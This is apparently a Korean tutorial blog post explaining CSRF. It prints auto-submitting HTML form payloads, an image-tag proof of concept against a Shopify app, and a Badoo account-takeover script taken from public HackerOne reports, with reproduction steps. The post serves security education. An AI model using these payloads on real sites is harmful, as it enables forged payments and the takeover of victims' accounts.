XSS 공격은 악성 스크립트가 클라이언트에서 실행되는데 반해, CSRF 공격은 사용자가 악성 스크립트를 서버에 요청한다는 차이가 있다.
POST 로 진행 될 경우, 다음과 같이 CSRF 공격을 할 수 있다.
공격자는 이미 특정 물품을 구매하여 장바구니에 넣어두고, 해당 물품에 대한 결재를 다른 이를 통해 다음과 같은 형태로 수행 할 수 있다.
<html>
<body onload = "document.csrf.submit()">
<form name="csrf" action="http://www.shop.co.kr/mainadmin/order/order.jsp" method="POST">
<input type="hidden" name="uid" value="nike">
<input type="hidden" name="mode" value="pay_for_order">
<input type="hidden" name="amount" value="10000">
</form>
</body>
</html>
위 형태로 HTML 파일 형태로 저장을 해도 되고, 게시판 형태에 아래의 내용을 삽입 할 수 있다.
<body onload = "document.csrf.submit()">
<form name="csrf" action="http://www.shop.co.kr/mainadmin/order/order.jsp" method="POST">
<input type="hidden" name="uid" value="nike">
<input type="hidden" name="mode" value="pay_for_order">
<input type="hidden" name="amount" value="10000">
</form>
</body>
일반적으로 CSRF 가 성립하려면 수정/삭제/등록 등을 하는 액션에서 사용자를 구문하는 파라미터 값이 존재하지 않아야 한다. 특정 사용자를 구분하는 인수가 있으면 하나의 사용자에게만 적용되거나 인증 과정을 통해 CSRF 공격을 막을 수 있다.
------------------
case 1) 실사례를 보자, CSRF 취약점을 이용해서, 프로필의 트위터 계정을 연결해제를 시킬 수 있는 취약점이 존재하였다.
Vulnerable request
GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=bmpuTE5EdnUvYUU0eGxJRk1kMWo5WkI3Wmh1clJkempOTDcya2R3eFNIMG8zWGdpenMvTXY4eFczTWUrNGRQeXV4ZGVycEVtTDZWcFZVbEg1eEtFQjhzSEJVbkM5K05VUVJaeHVtNXBnNTJCNTdwZ2hLL0x0Kyt4eUVlSjRIOWdYTkcwd1NQWWJnbjRNaTF5UXlwa1ZIUlAwR1JmZ1Y5WmRvN2ZHWFY5REZSUmlsR0lnMHZlSjR1OTlTMW5xWDdZRnVGSnBSeEhqbWpNS3lYZmxBNjZoVE00L3pQT2NMd1NONkdwb2pkMXhDS1E2M2RXYlovZjYwaUZnV0JQKzQySlN0MTNKNG55Zlg2azFDdVJJL3RidmJMM0VJNmRVejhZbjVDTnFZNmxFN0k9LS1lY1Y2dnpBZTJCalZzS014SldFUllBPT0%3D--77463ef21e4c8ef530f466db49f78b8e1c2e1129; _ga=GA1.2.469272249.1453024796; _gat=1
Connection: keep-alive
POC code
<html>
<body>
<img src="https://twitter-commerce.shopifyapps.com/twitter/disconnect">
</body>
</html>
// img 태그로 사이트에 요청(request)을 하는 방법도 있다는 것.
재현 절차
- https://madamcury.myshopify.com/admin/apps/shopify-twitter에서 twitter 어플리케이션을 추가한다.
- twitter 계정을 연동한다.
- 위의 poc 코드를 이용해서 twitter 계정을 끊는다.
즉, POC 코드를 실행하는 것 만으로, 로그인된 사용자가 자신의 의지와는 무관하게 연동된 트위터 계정을 끊게 되는 것이다.
관련 사이트
- Twitter Disconnect CSRF - https://hackerone.com/reports/111216
-----------------
case 2) get 메소드로 전송되는 앱 아이디 (숫자)를 자신의 아이디로 임의로 변경하여 서버에 전달
<html>
<head><title>csrf</title></head>
<body onLoad="document.forms[0].submit()"> <!-- 프로그램이 기동될때 submit 이 작동하도록 <input type="submit"> -->
<form action="https://app.shopify.com/services/partners/api_clients/1105664/
export_installed_users" method="GET">
</form>
</body>
</html>
submit 이란 함수는 input 또는 textarea 값을 저장해서 get/post 형식으로 데이터를 넘겨주는 함수이다. submit를 하기 위해서 먼저 form 을 이해해야 한다.
<formname="name" method="post" action="abc.jsp" id=frmtest">
폼의 이름이 name 이고 post 방식, 그리고 데이터 넘겨줄 페이지가 abc.jsp 라고 정의한 것이다.
이 폼을 submit 하기 위해서는 submit 버튼이 필요하다.
<input type="submit" value="전송">
하지만 위와 같이 클릭이 아닌, 이벤트로 submit 을 실행하기 위해서는 javascript를 사용해야 한다.
위에서 1105664를 본인의 app ID로 바꾸고 서버에 전달한다.
case 3)badoo 라는 앱 데이팅 사이트에서 CSRF 취약점이 발견된 사례이다.
badoo에서 로그인된 사용자가 gmail 연동할때, 사용자는 badoo에게 gmail 계정 사용을 위한 권한을 부여한다. 그리고 나서 아래 url로 리다이렉트 된다.
https://eu1.badoo.com/google/verify.phtml?rt=<State_param_value>&code=<Code_returned_from_google>
여기서부터 시작이다. CSRF 공격을 막기위해서는 위의 사용자/세션을 위한 고유정보인 rt 파라미터를 보호하는 것이다. 해커는 거의 모든 json 응답값에서 rt 파라미터가 반환되는것을 알았다.
https://eu1.badoo.com/worker-scope/chrome-service-worker.js위의 javascript 파일에 rt 파라미터 값이 아래와 같은 형태로 포함되어 있는것을 발견했다.
var url_stats = 'https://eu1.badoo.com/chrome-push-stats?ws=1&rt=<rt_param_value>';
이를 통해, 맨 처음에 보았던 gmail 계정을 연동할 때 받았던 url 에 위 rt 파라미터 값을 삽입하여 세션을 탈취할 수 있다.
<html><head><title> Badoo account take over </title>
<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></script>
</head>
<body>
<script>
function getCSRFcode(str) {
return str.split('=')[2]; // = 를 기준으로 자르고 0,1,2 즉 3번째 문자열 반환, 예를 들면 how=old=are=you 라면 are 를 반환
}
window.onload = function(){ // 시작시 사용될 내용
var csrf_code = getCSRFcode(url_stats); // rt 파라미터 값을 얻는다.
csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
window.location = csrf_url;
};
</script>
공격자가 자신의 gmail, facebook 계정을 희생자의 badoo 계정으로 연동하면, 공격자는 희생자의 badoo 계정을 획득할 수 있다.
#관련 근거
- https://hackerone.com/reports/127703
#참고
- http://terms.naver.com/entry.nhn?docId=3431919&cid=58437&categoryId=58437